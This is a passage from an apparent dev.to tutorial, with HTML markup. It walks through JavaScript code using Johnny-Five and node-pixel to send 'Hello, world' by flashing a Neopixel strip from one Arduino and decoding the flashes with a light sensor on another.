&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhq4qcu0mv2nuves7rqbn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhq4qcu0mv2nuves7rqbn.png" alt="Graphical representation of the transmitter and receiver protocol" width="800" height="338"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Implementation
&lt;/h3&gt;

&lt;p&gt;I decided to use the &lt;a href="https://johnny-five.io/" rel="noopener noreferrer"&gt;Johnny-Five&lt;/a&gt; JavaScript framework for this. After installing it , I started by declaring a few variables and instantiating the transmitter board.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Import the required packages&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;five&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;johnny-five&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pixel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;node-pixel&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Instantiate a new board using the first Arduino’s port&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;board&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;five&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Board&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/dev/cu.usbmodem11101&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="c1"&gt;// Declare variables to store the pin number that the light sensor is connected to, the value of the interval and the string to transmit.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;LED_PIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;INTERVAL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello, world&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;strLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, when the board is ready to receive instructions, I instantiate the Neopixel strip with the pin it is connected to on the Arduino as well as the number of LEDs, turn the light on and call my &lt;code&gt;sendBytes&lt;/code&gt; function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;board&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ready&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;strip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;pixel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Strip&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
       &lt;span class="na"&gt;board&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="na"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;FIRMATA&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="na"&gt;strips&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="p"&gt;},],&lt;/span&gt;
       &lt;span class="na"&gt;gamma&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;2.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="p"&gt;});&lt;/span&gt;
   &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ready&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;color&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#fff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
       &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
   &lt;span class="p"&gt;});&lt;/span&gt;
   &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="nf"&gt;sendBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function implements the communication protocol defined in the previous section.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sendBytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;strLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;off&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
       &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
       &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;INTERVAL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

       &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;bits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;convertToBinary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

       &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
           &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ledState&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

           &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ledState&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
               &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;color&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#fff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
               &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
           &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
               &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;off&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
               &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
           &lt;span class="p"&gt;}&lt;/span&gt;
           &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;INTERVAL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
       &lt;span class="p"&gt;}&lt;/span&gt;

       &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;color&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#fff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
       &lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
       &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;INTERVAL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;INTERVAL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="nf"&gt;sendBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For each letter in the string transmitted, it goes through the following steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start by turning the light off&lt;/li&gt;
&lt;li&gt;Apply a delay of 100ms&lt;/li&gt;
&lt;li&gt;Convert the letter into binary&lt;/li&gt;
&lt;li&gt;Loop through each bit

&lt;ul&gt;
&lt;li&gt;If its value is 1, turn the light on and if it is 0, turn it off&lt;/li&gt;
&lt;li&gt;Apply the delay of 100ms&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;When it has gone through the 8 bits, turn the light back on and apply the delay again&lt;/li&gt;
&lt;li&gt;Once all letters are sent, call sendBytes recursively to continuously send the data.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;code&gt;delay&lt;/code&gt; function is simply a &lt;code&gt;setTimeout&lt;/code&gt; function inside a &lt;code&gt;Promise&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;delay&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before running this code, you need to &lt;strong&gt;install the right firmware onto the board&lt;/strong&gt;. To do this, you can follow the instructions on the &lt;a href="https://github.com/ajfisher/node-pixel" rel="noopener noreferrer"&gt;node-pixel repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Then, it should result in the light flashing like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvz0i5n0jyuuci0oh5cuc.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvz0i5n0jyuuci0oh5cuc.gif" alt="Transmitter light flashing" width="560" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that the transmitter is able to change the state of the light depending on the bits sent, let’s set up the receiver side.&lt;/p&gt;

&lt;h3&gt;
  
  
  Decoding the data
&lt;/h3&gt;

&lt;p&gt;To set up the receiver, I first declared some variables and instantiated the second board.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;five&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;johnny-five&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;board&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;five&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Board&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/dev/cu.usbmodem11201&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;SENSOR_PIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;A0&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;THRESHOLD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;INTERVAL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;previousState&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;currentState&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;lightValue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;detectionStarted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;testString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;decodedText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, when the board is ready to receive instructions, I instantiate the light sensor, store the brightness value in the &lt;code&gt;lightValue&lt;/code&gt; variable, and call the main &lt;code&gt;decode&lt;/code&gt; function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;board&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ready&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sensor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;five&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Sensor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SENSOR_PIN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="nx"&gt;sensor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;data&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nx"&gt;lightValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
   &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="c1"&gt;// Calling the built-in loop function to recursively trigger the decoding logic every 10 milliseconds.&lt;/span&gt;
   &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;detectionStarted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
           &lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
       &lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function starts by calling &lt;code&gt;getLDRState&lt;/code&gt; to return 1 or 0 if the brightness is over or under the threshold specified (this threshold will depend on the amount of light already present in your environment).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;getLDRState&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;THRESHOLD&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, it will call the &lt;code&gt;getByte&lt;/code&gt; function &lt;strong&gt;only if it has detected the preamble&lt;/strong&gt;, meaning if the current state of the light is &lt;code&gt;off&lt;/code&gt; and the previous state was &lt;code&gt;on&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="nx"&gt;currentState&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getLDRState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lightValue&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;currentState&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;previousState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nx"&gt;detectionStarted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       &lt;span class="nf"&gt;getByte&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="nx"&gt;previousState&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;currentState&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



